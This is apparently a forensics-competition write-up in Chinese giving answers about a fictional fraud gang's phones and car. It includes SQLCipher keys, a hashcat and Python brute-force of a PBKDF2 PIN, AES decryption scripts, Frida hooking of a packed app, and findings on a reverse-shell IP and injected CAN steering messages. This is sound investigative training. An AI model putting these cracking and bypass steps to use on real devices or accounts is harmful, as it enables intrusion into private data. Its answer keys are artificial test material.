2023 年 8 月,境外“龙腾四海”犯罪集团在我国境内设立名为“金鳞资本”的投资诈骗窝点。该团伙利用物联网入侵、人工智能技术及 Deepfake 深度伪造等新型科技手段,实施精准诈骗,涉案金额巨大,受害群众众多。经过公安机关的持续侦查与全力打击,该犯罪组织在境内的诈骗团伙最终被成功摧毁,有力维护了广大人民群众的财产安全。
密码:VeZeTANHVkklvVljLnpOYeBwCJFYD5tFpf67f5kNuqP1G5jj
手机取证 分析黄志远phone.E01检材,黄志远手机总共安装了多少款短视频应用?[答案格式:1]
抖音、抖音极速版、快手、快手极速版 4种
见上面的图 gptos.intelligence.assistant
接上题,首次打开应用的时间是?[答案格式:2021-01-11-01:11:44]
<long name="first_open_time" value="1776397998058" />
时间戳换算后为2026-04-17 11:53:18.058
shared_prefs目录是应用用来保存少量简单数据 的地方,比如用户的设置、游戏最高分、登录状态等。
分析黄志远phone.E01检材,黄志远使用此应用攻击过多少台主机?[答案格式:1] 0
该应用内嵌了rootfs(linux操作系统),files/rootfs/root/ 下没有可用的 .bash_history、known_hosts、SSH 目标记录;
分析黄志远phone.E01检材,黄志远使用哪款应用控制了其PC的agent工具[答案格式:wechat]
discord!!
分析黄志远phone.E01检材,黄志远使用这款应用的版本是多少?[答案格式:111.1]
311.20
分析黄志远phone.E01检材,接上题,登录的用户名是什么?[答案格式:wwww1234]
test901234
分析黄志远phone.E01检材,该应用与pc端agent的配对码是什么?[答案格式:ABC456]
HNZ6UFW6
分析黄志远phone.E01检材,该应用共对几个ip进行扫描?[答案格式:5] 192.168.1.16 192.168.1.10 192.168.61.135
3个
分析黄志远phone.E01检材,该应用总共调用了几个暴力破解工具?[答案格式:1] 同时出现的 sqlmap、nikto、searchsploit 分别是SQL 注入测试、Web扫描、漏洞检索,不算暴力破解工具。去重按工具名统计,只有 hydra和gobuster。 2
分析黄志远phone.E01检材,黄志远使用其内部通联工具进行沟通,其账号的登陆密码是多少?[答案格式:123456] 要解密sqlcipher,sqlcipher密码逻辑在下面apk部分会有。其实就是先反混淆flutter,获取密码的逻辑后解密sqlcipher。
1 2 3 4 5 6 7 8 9 D:\Forensics\sqlcipher-4.14.0>sqlite3.exe C:\Users\TY\Desktop\social_chat.db SQLite version 3.51.3 2026-03-13 10:38:09 (SQLCipher 4.14.0 community) Enter ".help" for usage hints. sqlite> PRAGMA key = 's-dbw1776839203359Goo'; ok sqlite> ATTACH DATABASE 'C:/Users/TY/Desktop/huangziyuan.db' AS plaintext KEY ''; sqlite> SELECT sqlcipher_export('plaintext'); sqlite> DETACH DATABASE plaintext;
fc29eb768c139c05c0bfcb697d9b26d194878a66451b3ab91b202e9710874a63
分析黄志远phone.E01检材,黄志远一共发送过几个文件给代号军师的嫌疑人?
2个。
分析方俊朗phone.E01检材,方俊郎手机总共安装了多少款理财应用?[答案格式:1]
4
很显然,见上面的图。 com.example.predictor
APK 分析方俊朗phone.E01检材,筛选优质客户应用将用户查询记录存储在一个加密的本地数据库中。请问该加密数据库的文件名是什么?[答案格式:12_abc.db]
chat_history.db
分析方俊朗phone.E01检材,该应用使用了哪种密钥派生算法来生成数据库加密密钥?请写出完整的算法标识名称。[答案格式:DFBDSDFGG123]
sqlcipher加密的,确认 SQLCipher 版本字符串为 4.5.4 我们给这个apk脱壳:
PBKDF2WithHmacSHA256
分析方俊朗phone.E01检材,该应用的密钥派生过程中使用了多少次迭代运算?[答案格式:345678] 看脱壳后的文件
KeyDeriver.deriveKey() 明确写了:
PBEKeySpec(…, iterations=10000, keyLength=256)
SecretKeyFactory.getInstance(“PBKDF2WithHmacSHA256”)
SharedPreferences 里也保存了 key_iterations = 10000
10000
分析方俊朗phone.E01检材,该应用检测动态调试工具时探测了哪个本地端口号?[答案格式:64321] 关键 DEX:0x7fff6f304000_0x658c.dex 在同一段检测逻辑附近发现端口常量 0x69a2,换算十进制为 27042,这是 Frida server 默认本地端口。 27042
分析方俊朗phone.E01检材,该应用密钥由多个”盐值片段”拼接后派生而来。请问第一个盐值片段的具体内容是什么?[答案格式:SAltsaltsalt]
Pr3d1ct0r
分析方俊朗phone.E01检材,当密钥派生过程出现异常时,应用会使用一个硬编码的备用密钥。请问该备用密钥的完整内容是什么?[答案格式:salt_dlefe_123_dfefaf]
f4ll8ack_k3y_2024_pr3d1ct0r
分析方俊朗phone.E01检材,分析”优质客户预测”应用,该应用的安全检测模块通过检查一个特定的类名来判断设备是否安装了Hook框架。请问被检测的完整类名是什么?[答案格式:ru.foefn.DFeoagn.dfoandf.xoggdg]
de.robv.android.xposed.XposedBridge
分析方俊朗phone.E01检材,该应用在偏好设置文件中存储了一个密钥校验值。请问存储该校验值的键名(key)是什么?[答案格式:ab_dfefegad_cadfeg]
在 saveKeyChecksum 方法中,应用将密钥的 MD5 校验值存储到了 SharedPreferences 中。 db_integrity_check
分析方俊朗phone.E01检材,该应用加密数据库中存储对话记录的数据表名是什么?[答案格式:liaotian_dfelge] 看com.example.predictor.ChatDatabaseHelper
chat_records
分析方俊朗phone.E01检材,该应用的密钥生成逻辑,该应用中的第三个盐值片段是通过逐字符拼接生成的。请问该片段拼接后的完整内容是什么?[答案格式:K8m!pQ2x]
X9kZ!qW3
分析方俊朗phone.E01检材,该应用使用了载荷在内存中直接加载而不在磁盘落地。若选手希望通过Frida动态拦截明文的DEX字节数组,应该Hook该应用壳的哪个私有方法?[答案格式:loadDexFromMemory]
initDexFromMemory
分析方俊朗phone.E01检材,分析应用的壳代码逻辑,其解密密钥由3个字符串片段混淆拼接而成。请通过静态分析,还原用于解密的3个片段拼接合并后的完整密钥明文。[答案格式:Ab6de_a8bc4d_a5b_345d]
第一个base64解码一下,第二个:
第三个逆序一下,可得:
Sh3ll_L0ad3r_K3y_2024!
接上题,当选手尝试使用frida-dexdump等通用脱壳工具动态附加时,应用会立刻闪退。请分析该逻辑,写出该线程触发进程自杀所调用的完整Java系统方法签名。[答案格式:abcd.abcd.Abcdabc.abcd]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 static void lambda$startAntiDumperDaemon$0 () throws InterruptedException, IOException, NumberFormatException { while (true ) { try { try { BufferedReader reader = new BufferedReader (new FileReader ("/proc/self/status" )); while (true ) { String line = reader.readLine(); if (line == null ) { break ; } if (line.startsWith("TracerPid:" )) { int tracerPid = Integer.parseInt(line.substring(10 ).trim()); if (tracerPid != 0 ) { Log.e(TAG, "FATAL: Tracer detected! Self-destructing!" ); System.exit(0 ); } } } reader.close(); } catch (Exception e) { } try { BufferedReader reader2 = new BufferedReader (new FileReader ("/proc/self/maps" )); while (true ) { String line2 = reader2.readLine(); if (line2 == null ) { break ; } if (line2.contains("frida-agent" ) || line2.contains("frida-gadget" )) { Log.e(TAG, "FATAL: Frida memory module detected! Self-destructing!" ); System.exit(0 ); } } reader2.close(); } catch (Exception e2) { } Thread.sleep(1000L ); } catch (InterruptedException e3) { return ; } } }
java.lang.System.exit
分析方俊朗phone.E01检材,方俊朗使用其内部通联工具时,共加入过几个群?[答案格式:7] 工具是social_chat_app,发现是flutter框架开发的,需要还原混淆函数名。
但是这题的答案在方俊朗手机的照片中
2
*分析方俊朗phone.E01检材,方俊朗通过物联网设备漏洞,共获得多少用户信息?[答案格式:10]
发现浏览器下载缓存有点东西,但是保存路径找不到了,就去浏览器缓存看看。 分区3/data/com.android.browser/cache/WebView/Default/HTTP Cache/19b075a7b894c731_0
其实直接看,也可以知道其中的数据,有一个地图密码.txt,内容为QazWsx123!@#
也不知道是啥,放着先。
com.socialchat.social_chat_app
分析周文杰Image.zip检材,内部通联app聊天数据库名称是?[答案格式:abc.db]
social_chat.db
分析周文杰Image.zip检材,内部通联app聊天数据库密码保存在哪个文件中?[答案格式:Abc.txt]
FlutterSharedPreferences.xml
这里我们先分析一下这个内部通联app吧。
可以得知这个app是flutter框架编写的,需要反混淆。同时数据库是经过sqlcipher加密的,需要解密。 先flutter反混淆
1 2 3 4 5 6 git clone https://github.com/worawit/blutter --depth=1 apt install python3-pyelftools python3-requests git cmake ninja-build \ build-essential pkg-config libicu-dev libcapstone-dev python3 blutter.py /root/blutter/arm64-v8a/ out_dir
分析周文杰Image.zip检材,周文杰内部通联app聊天数据库密码是?[答案格式:123-abc]
Pgs-dbw1776853545473Good,这是直接显示的,但是尝试登录app,发现并不能成功登录。我们看flutter反混淆出来的东西。
我们直接看social_chat_app的main.dart 让AI帮忙翻译成伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 Future<void > main () async { try { WidgetsFlutterBinding.ensureInitialized(); await StorageUtils.init(); String? rawDbPassword = StorageUtils.getString(); if (rawDbPassword == null || rawDbPassword.isEmpty) { int nowMillis = DateTime.now().microsecondsSinceEpoch ~/ 1000 ; rawDbPassword = "Pgs-dbw${nowMillis}Good" ; await StorageUtils.setString("db_password" , rawDbPassword); } final String databasePassword = rawDbPassword.substring(2 , rawDbPassword.length - 1 ); _dbPasswordStatic = databasePassword; } catch (e) { debugPrint("Init error: $e" ); } final authRepository = AuthRepository(); final messageRepository = MessageRepository(); final databaseHelper = DatabaseHelper.instance; final conversationDao = ConversationDao(databaseHelper); final messageDao = MessageDao(databaseHelper); final conversationRepository = ConversationRepository( conversationDao, messageDao, ); final contactRepository = ContactRepository(); final appRouter = AppRouter( authRepository, contactRepository, conversationRepository, messageRepository, ); runApp( MultiProvider( providers: [ Provider<AuthRepository>.value(value: authRepository), Provider<MessageRepository>.value(value: messageRepository), Provider<ConversationRepository>.value(value: conversationRepository), Provider<ContactRepository>.value(value: contactRepository), ], child: SocialChatApp(appRouter), ), ); } class SocialChatApp extends StatelessWidget { final AppRouter router; const SocialChatApp (this .router) ; @override Widget build (BuildContext context) { return MultiBlocProvider( providers: [ BlocProvider<AuthBloc>( lazy: true , create: (context) { final authRepository = Provider.of<AuthRepository>(context); final bloc = AuthBloc(authRepository); bloc.add(AuthEventInit()); return bloc; }, ), ], child: MaterialApp.router( routerConfig: router.router, title: "社交聊天" , theme: AppTheme.lightTheme(), themeMode: ThemeMode.light, locale: const [Locale(...)], debugShowCheckedModeBanner: false , ), ); } } AuthBloc _createAuthBloc (BuildContext context) { final authRepository = Provider.of<AuthRepository>(context); final bloc = AuthBloc(authRepository); bloc.add(AuthEventInit()); return bloc; }
对Pgs-dbw1776853545473Good而言,实际数据库密码为s-dbw1776853545473Goo 这其实就是sqlcipher的密码 然后我们先解密了再说
分析周文杰Image.zip检材,内部通联app聊天数据使用的什么加密算法?[答案格式:ABCDEF]
libapp.so 里能看到 SqfliteSqlCipherDatabaseFactoryImpl、sqflite_sqlcipher,说明聊天库用了 SQLCipher
同时还能看到 _generateAESKey、_loadOrGenerateAESKey 等符号,表明应用层也围绕 AES key 在做处理
AES
分析周文杰Image.zip检材,内部通联app用户密码的盐值是?[答案格式:1234abcd] a3f8d9c2e1b4h7g6k9m2n5p8q1r4t7w
com.jinghong.notebookkssjh
分析周文杰Image.zip检材,内部通联app登录密码是?[答案格式:123abc] 5d85b77d7d6d1a76cd589c3ba21d1839b1dd28568e39f1d2facc3a1b7d2e8bcb
虽然我感觉不是这个
分析周文杰Image.zip检材,周文杰在内部通联app中删除了几条聊天记录?[答案格式:123] 我们看上面的数据库即可
答案有两种可能性,extra_val和state_bits 我们回归flutter反混淆出的代码:在out_dir/asm/social_chat_app/data/models/message.dart:909 里,field_3f 映射到 extra_val;在out_dir/asm/social_chat_app/data/models/message.dart:955 里,field_4f 映射到 state_bits。
在 out_dir/asm/social_chat_app/presentation/widgets/message_bubble.dart:447 里,代码判断 field_3f == 1 就走 _buildDeletedMessage();而在out_dir/asm/social_chat_app/presentation/widgets/message_bubble.dart:459 里,field_4f == 1 走的是 _buildRecalledMessage()。
所以extra_val是删除的意思,state_bits是撤回的意思。
然后我们再数一下extra_val字段为1的数量,6个。
分析周文杰Image.zip检材,聊天数据库中,显示聊天数据删除的是哪个字段?[答案格式:ab_cd] extra_val
分析林小婉手机检材,发现有个应用隐藏了很多信息,目前已经找到这个应用,它的程序名称是?[答案格式:微信]
今日头条
分析林小婉手机检材,这个应用有一个安全加密的PIN码,它是多少?[答案格式:12345678] 全局搜
verifyPinKotlin方法是验证PIN码是否正确。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private static final boolean verifyPinKotlin (String pin) throws NoSuchAlgorithmException { try { char [] charArray = pin.toCharArray(); Intrinsics.checkNotNullExpressionValue(charArray, "toCharArray(...)" ); byte [] bytes = "JinriPIN_Salt_" .getBytes(Charsets.UTF_8); Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)" ); PBEKeySpec spec = new PBEKeySpec (charArray, bytes, 10000 , 256 ); SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256" ); byte [] hash = factory.generateSecret(spec).getEncoded(); Intrinsics.checkNotNull(hash); String hashHex = ArraysKt.joinToString$default (hash, (CharSequence) "" , (CharSequence) null , (CharSequence) null , 0 , (CharSequence) null , new Function1 () { @Override public final Object invoke (Object obj) { return NavigationKt.verifyPinKotlin$lambda$0 (((Byte) obj).byteValue()); } }, 30 , (Object) null ); Log.d("jinritoutiao" , "verifyPinKotlin: pin=" + pin + ", hash=" + hashHex + ", expected=7e881d49322271f3dd4fa24846a5cc53d1e0506b46007caa4b27f1416b27b54c" ); return Intrinsics.areEqual(hashHex, "7e881d49322271f3dd4fa24846a5cc53d1e0506b46007caa4b27f1416b27b54c" ); } catch (Exception e) { Log.e("jinritoutiao" , "verifyPinKotlin error: " + e.getMessage()); return false ; } }
采用PBKDF2WithHmacSHA256算法,固定盐值为JinriPIN_Salt_,迭代 10000,再比对固定哈希。 然后我们直接进入APK,点击我的,在PIN码输入界面可以看到PIN码的提示:女儿生日
应该是YYYYMMDD,然后我们用hashcat爆破 PBKDF2-HMAC-SHA256 在 Hashcat 模式 10900 中的完整格式是:sha256:迭代次数:base64(salt):base64(hash)
因此hash.txt文件如下:(注意这里hash不能直接base64encode,要fromhex一下)
1 sha256:10000:SmlucmlQSU5fU2FsdF8=:fogdSTIicfPdT6JIRqXMU9HgUGtGAHyqSyfxQWsntUw=
命令如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 python3 -c " import datetime for year in range(2000, 2025): for month in range(1, 13): for day in range(1, 32): try: dt = datetime.date(year, month, day) print(dt.strftime('%Y%m%d')) except: pass " > yyyymmdd_dict.txt hashcat -m 10900 -a 0 hash.txt yyyymmdd_dict.txt -O
也可以用python脚本,python脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 import hashlibimport binasciiimport datetimeimport sysSALT = b"JinriPIN_Salt_" ITERATIONS = 10000 TARGET_HASH = "7e881d49322271f3dd4fa24846a5cc53d1e0506b46007caa4b27f1416b27b54c" YEAR_START = 1980 YEAR_END = 2025 FORMATS = [ "%Y%m%d" , "%y%m%d" , "%d%m%Y" , "%d%m%y" , "%m%d%Y" , "%m%d%y" , ] def pbkdf2_hmac_sha256 (password: bytes , salt: bytes , iterations: int , dklen: int = 32 ) -> bytes : """纯 Python 实现 PBKDF2-HMAC-SHA256""" from hmac import HMAC result = b'' for i in range (1 , (dklen + 31 ) // 32 + 1 ): h = HMAC(password, salt + i.to_bytes(4 , 'big' ), hashlib.sha256) u = h.digest() t = u for _ in range (1 , iterations): u = HMAC(password, u, hashlib.sha256).digest() t = bytes (x ^ y for x, y in zip (t, u)) result += t return result[:dklen] def verify_pin (pin: str ) -> bool : """验证单个 PIN 是否正确""" try : pin_bytes = pin.encode('utf-8' ) result = pbkdf2_hmac_sha256(pin_bytes, SALT, ITERATIONS) calc_hash = binascii.hexlify(result).decode() return calc_hash == TARGET_HASH except Exception as e: print (f"验证出错: {e} " ) return False def generate_all_birthdays (): """生成所有可能的生日日期(多种格式)""" results = {} print (f"生成生日字典 ({YEAR_START} -{YEAR_END} )..." ) for year in range (YEAR_START, YEAR_END + 1 ): for month in range (1 , 13 ): for day in range (1 , 32 ): try : dt = datetime.date(year, month, day) for fmt in FORMATS: pin = dt.strftime(fmt) results[pin] = True except ValueError: continue print (f"生成完成,共 {len (results)} 种组合" ) return list (results.keys()) def main (): print ("=" * 50 ) print ("PIN 破解工具" ) print (f"目标哈希: {TARGET_HASH[:32 ]} ..." ) print (f"盐值: {SALT.decode()} " ) print (f"迭代次数: {ITERATIONS} " ) print ("=" * 50 ) pins = generate_all_birthdays() print (f"\n开始验证,共 {len (pins)} 种组合..." ) print ("=" * 50 ) count = 0 for pin in pins: count += 1 if count % 500 == 0 : print (f"[{count} /{len (pins)} ] 正在测试: {pin} " ) if verify_pin(pin): print ("\n" + "=" * 50 ) print (f"✅✅✅ 找到 PIN: {pin} ✅✅✅" ) print ("=" * 50 ) return print ("\n❌ 未找到匹配的 PIN" ) print (f"共测试 {count} 种组合" ) print ("\n建议:" ) print ("1. 调整年份范围 (YEAR_START, YEAR_END)" ) print ("2. 添加更多日期格式" ) if __name__ == "__main__" : main()
20150412
分析林小婉手机检材,这个应用隐藏的数据中,每个标签数据里,notes字段表示多少?[答案格式:事项]
保险库数据,一看就是隐藏数据。
在源码中找找加密逻辑,直接搜vault_data即可
DATA_FILE查找用例
发现关键函数initialize,初始化函数,那就是初始化这个加密文件。跟进其中的loaddata,不出意外就是解密逻辑了。
根据文件头来分配加载逻辑,我们这个文件头如下:
看似JTH2,实则JTH3。那么我们跟进JTH3的解密逻辑即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 private final VaultData loadJTH3Data (byte [] fileData) throws NoSuchAlgorithmException { byte [] iv = ArraysKt.copyOfRange(fileData, 6 , 6 + 12 ); Log.d("VaultDataLoader" , "IV length: " + iv.length); int hmacStart = fileData.length - 32 ; ArraysKt.copyOfRange(fileData, hmacStart, fileData.length); int tagStart = hmacStart - 16 ; byte [] tag = ArraysKt.copyOfRange(fileData, tagStart, hmacStart); int ciphertextStart = 6 + 12 ; byte [] ciphertext = ArraysKt.copyOfRange(fileData, ciphertextStart, tagStart); Log.d("VaultDataLoader" , "Ciphertext length: " + ciphertext.length); Log.d("VaultDataLoader" , "TAG length: " + tag.length); byte [] masterKey = deriveMasterKey(); VaultData vaultData = null ; Log.d("VaultDataLoader" , "Master key derived: " + ArraysKt.joinToString$default (masterKey, (CharSequence) "" , (CharSequence) null , (CharSequence) null , 0 , (CharSequence) null , new Function1 () { @Override public final Object invoke (Object obj) { return VaultDataLoader.loadJTH3Data$lambda$0 (((Byte) obj).byteValue()); } }, 30 , (Object) null )); byte [] encryptedPackage = ArraysKt.plus(ArraysKt.plus(iv, ciphertext), tag); try { byte [] decrypted = decryptAesGcm(encryptedPackage, masterKey); try { if (decrypted != null ) { vaultData = null ; try { if (!(decrypted.length == 0 )) { try { String jsonString = new String (decrypted, Charsets.UTF_8); Log.d("VaultDataLoader" , "Decrypted JSON length: " + jsonString.length()); Log.d("VaultDataLoader" , "JSON preview: " + StringsKt.take(jsonString, 100 )); return parseJson(jsonString); } catch (Exception e) { e = e; Log.e("VaultDataLoader" , "Decryption error: " + e.getMessage(), e); return vaultData; } } } catch (Exception e2) { e = e2; } } else { vaultData = null ; } Log.d("VaultDataLoader" , "Decryption returned empty" ); return vaultData; } catch (Exception e3) { e = e3; } } catch (Exception e4) { e = e4; vaultData = null ; } }
让AI帮我们生成解密脚本吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 import hashlibimport jsonfrom pathlib import Pathfrom typing import Any , Optional from cryptography.hazmat.primitives.ciphers.aead import AESGCMMASTER_SEED = "Jinritoutiao_Master_Key_2024_Secret" PBKDF2_SALT = b"JinriSalt_2024" PBKDF2_ITERATIONS = 65536 MASTER_KEY_LEN = 32 IV_SIZE = 12 TAG_SIZE = 16 HMAC_SIZE = 32 HEADER_SIZE = 6 def derive_master_key () -> bytes : return hashlib.pbkdf2_hmac( "sha256" , MASTER_SEED.encode("utf-8" ), PBKDF2_SALT, PBKDF2_ITERATIONS, MASTER_KEY_LEN, ) def decrypt_aes_gcm (encrypted_package: bytes , master_key: bytes ) -> Optional [bytes ]: """ encrypted_package layout: [12-byte IV][ciphertext][16-byte GCM tag] """ try : if len (encrypted_package) < IV_SIZE + TAG_SIZE: print ("Encrypted data too short" ) return None iv = encrypted_package[:IV_SIZE] tag = encrypted_package[-TAG_SIZE:] ciphertext = encrypted_package[IV_SIZE:-TAG_SIZE] aesgcm = AESGCM(master_key) return aesgcm.decrypt(iv, ciphertext + tag, None ) except Exception as e: print (f"AES-GCM decryption error: {e} " ) return None def parse_json (json_string: str ) -> Any : return json.loads(json_string) def load_jth3_data (file_data: bytes ) -> Optional [Any ]: """ JTH3 file layout inferred from the APK: [0:6] header [6:18] IV (12 bytes) [18:?] ciphertext [? : ?+16] GCM tag [last 32] trailing HMAC/extra data (not used by this code path) """ try : iv = file_data[HEADER_SIZE:HEADER_SIZE + IV_SIZE] print (f"IV length: {len (iv)} " ) hmac_start = len (file_data) - HMAC_SIZE tag_start = hmac_start - TAG_SIZE tag = file_data[tag_start:hmac_start] ciphertext_start = HEADER_SIZE + IV_SIZE ciphertext = file_data[ciphertext_start:tag_start] print (f"Ciphertext length: {len (ciphertext)} " ) print (f"TAG length: {len (tag)} " ) master_key = derive_master_key() print (f"Master key derived: {master_key.hex ()} " ) encrypted_package = iv + ciphertext + tag decrypted = decrypt_aes_gcm(encrypted_package, master_key) if not decrypted: print ("Decryption returned empty" ) return None json_string = decrypted.decode("utf-8" ) print (f"Decrypted JSON length: {len (json_string)} " ) print (f"JSON preview: {json_string[:100 ]} " ) return parse_json(json_string) except Exception as e: print (f"Decryption error: {e} " ) return None def main () -> None : path = r"C:\Users\TY\Downloads\1778310207366_9eee4f1c (1)\assets\vault_data.jth2" with open (path, "rb" ) as f: file_data = f.read() result = load_jth3_data(file_data) print (result) if result is None : print ("No decrypted data to save." ) return output_path = Path(path).with_name("vault_data_decrypted.json" ) with output_path.open ("w" , encoding="utf-8" ) as f: json.dump(result, f, ensure_ascii=False , indent=2 ) print (f"Decrypted data saved to: {output_path} " ) if __name__ == "__main__" : main()
notes字段表示备注
分析林小婉手机检材,这个应用隐藏的数据中,文件备份服务器的IP地址是多少?[答案格式:192.168.1.1]
192.168.1.200
分析林小婉手机检材,发现内部通联中财神撤回了一条消息,这个消息的内容是?[答案格式:盘古石杯。] s-dbw1776826167125Goo
解密后查看数据库,找state_bits为1的。
yZkcJsou9vMkGQeq0fTAPrrW2Qrb/9d8IDVTQNYRbBUIB5xgKJ+73szpr/vFyA0aj34wPcH1yJ/+VtycHtc2Tw== 其实就是上面这条信息,我们需要解密一下。
这个解密逻辑要到flutter反混淆的dart代码中找,看不懂,直接让AI分析
结论先说:
消息内容 message.content 用的是 package:encrypt 的 AES
默认模式是 CBC
默认填充是 PKCS7
密文存储格式是 base64
密钥和 IV 不是每条消息自带,而是登录后从 user.config_data 里取:
关键证据:
登录后初始化消息密钥 AuthRepository::_initMessageEncryption() 里会:
jsonDecode(user.config_data)
取 “enc_key”
取 “enc_iv”
调 MessageEncryption::initKey(enc_key, enc_iv)
initKey() 做了什么 MessageEncryption::initKey():
Base64Codec.decode(enc_key) -> Key
Base64Codec.decode(enc_iv) -> IV
存到静态字段,后续全局复用
发消息时怎么加密 MessageRepository::sendMessage():
对用户输入文本调用 MessageEncryption::encrypt()
结果写入 message.content
读消息时怎么解密 MessageRepository::getMessages():
先取 message.content
MessageEncryption::isEncrypted() 判断是否像 base64 密文
若是,则调用 MessageEncryption::decrypt()
AES 默认参数 在 encrypt.dart 里,AES::AES 默认常量明确是:
AESMode = CBC
padding = “PKCS7”
config_data如下:
{“enc_key”: “kOpoJlwv0/HyhcJkNDUHxtABzZqAl6wjFXPUtzX9aZo=”, “enc_iv”: “zm0YA3yx57rHy2fYiQm0gg==”}
解密脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import base64from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadcontent_b64 = "yZkcJsou9vMkGQeq0fTAPrrW2Qrb/9d8IDVTQNYRbBUIB5xgKJ+73szpr/vFyA0aj34wPcH1yJ/+VtycHtc2Tw==" key_b64 = "kOpoJlwv0/HyhcJkNDUHxtABzZqAl6wjFXPUtzX9aZo=" iv_b64 = "zm0YA3yx57rHy2fYiQm0gg==" ciphertext = base64.b64decode(content_b64) key = base64.b64decode(key_b64) iv = base64.b64decode(iv_b64) cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size).decode("utf-8" ) print (plaintext)
把23年10月到24年6月的账本整理一下,发给我。
分析林小婉手机检材,发现了账本,账本打开密码是什么?[答案格式:按实际填写]
DragonTeng@2024#$
物联网取证 分析黄志远car.E01检材,事故发生前车辆发生了非驾驶员意图的左转,找出控制车辆异常转向的恶意指令 ID。[答案格式:3B4] 在日志中找
1 2 3 4 5 6 DLT_TIME APP_ID CTX_ID LVL MSG -------------------------------------- 1702654000.123 ADAS SENS INFO Start radar initialization 1702654500.221 ADAS CTRL WARN Override Active: LKA requested steer [-45deg] 1702654800.500 CGW ROUT ERR Invalid CRC on msg 0x0A0 1702655100.001 SYS SAFE FATL COLLISION_DETECTED!!
0A0
分析黄志远car.E01检材,分析动力总成总线日志,判定驾驶员在碰撞发生前的最后 5 秒内,是否真正尝试了手动踩下制动踏板?若有,请说明判定依据;若无,请提交其加速踏板的百分比数值[答案格式:10%] 日志为:data/log/canbus/powertrain_can.asc
动力总成日志在 120 秒后只剩 050 全零报文,这可能是碰撞/总线异常后的尾迹。 那么我们要看的数据是115秒-120秒之间的。
1F4 这类稳定重复报文表示踏板状态,首字节 64 对应加速踏板百分比,也就是 100%。后面制动相关字节全是 00,没有制动踏板被踩下的有效信号。
在最后5 秒内,1F4 总共 1108 条,其中 64 00 00 00 00 00 00 00 出现 781 次,像是稳定的加速踏板信号。
分析黄志远car.E01检材,攻击者通过同频注入压制了原车 ADAS 信号。请在日志中找出证明这是“人为注入攻击”而非“ECU原生故障”的报文频率特征描述。[答案格式:111msg] 找120秒附近的0A0报文。
看看119-120秒有多少0A0 137个。但是我觉得这个一点也不准啊。
分析黄志远car.E01检材,分析动力总成总线日志,确定车辆由于碰撞导致轮速传感器信号彻底消失(归零)的确切时间点(秒)。[答案格式:1.1]
120.0
分析黄志远car.E01检材,基于安全通讯协议,部分关键报文需带有 MAC 认证。请找出恶意转向报文中,证明其为非法注入的最直接协议层安全缺陷项。[答案格式:1234] 恶意转向报文,我们看控制智能驾驶的日志吧,也就是adas_can,直接找0A0即可。
正常 0A0 报文前后两条都是随机感很强的 8 字节。恶意那条变成了01FFFF0000000000
在第 118.013620 秒,ADAS 总线上出现了一条 ID 为 0x0A0 的 8 字节转向控制报文,内容为 01 FF FF 00 00 00 00 00。它开启了异常转向控制,但认证/校验字段呈全零异常,是非法注入报文的特征。正常的字段它认证/校验字段肯定是正常呈现的。
0000
分析黄志远car.E01检材,逆向分析 ADAS 固件,指出其中隐藏的恶意控制代码被触发所需的最低车速阈值(单位:km/h)。 [答案格式:100]
我们直接搜speed
TRIGGER=SPEED>120,触发后门的汽车速度为120
所以答案为120
分析黄志远car.E01检材,事故车辆的发动机控制系统已被黑客篡改。请指出其为了获得超高速动力,在固件中非法解除了哪个速度限制相关的标志?[答案格式:LIVE_TEACH] 发动机控制系统,那么我们看engine_edu.bin
直接搜limit即可,答案为VMAX_LIMIT
分析黄志远car.E01检材,固件中存储了用于安全通讯的 Master Key Seed。请通过分析网关固件,提取该 16 位十六进制种子值。 [答案格式:1234567890ABCDEF] 网关固件是gateway_ecu.bin
A9B8C7D6E5F40123
分析黄志远car.E01检材,通过分析 BCM 模块导出数据中的 Crash Dump 碎片,还原碰撞发生瞬间,车辆大灯处于什么照明模式?[答案格式:LIVE_LIVE] 看bcm_ecu.bin,直接搜crash即可
HIGH_BEAM
分析黄志远car.E01检材,取证人员在车机浏览器数据库中发现黑客曾访问一个特定的 GitHub 代码仓库地址。请提交该仓库的名称部分。[答案格式:cache_asdf_efg]
staros_root_poc
分析黄志远car.E01检材,T-BOX 系统配置文件已转换,需解密出被黑客覆写的关键远程代理地址的 IP 地址。[答案格式:1.1.1.1] 反弹shell地址,我记得之前adas_ecu.bin中有。
45.33.22.11
同时系统配置文件混淆后,我们通过xor爆破可以获得下述信息:
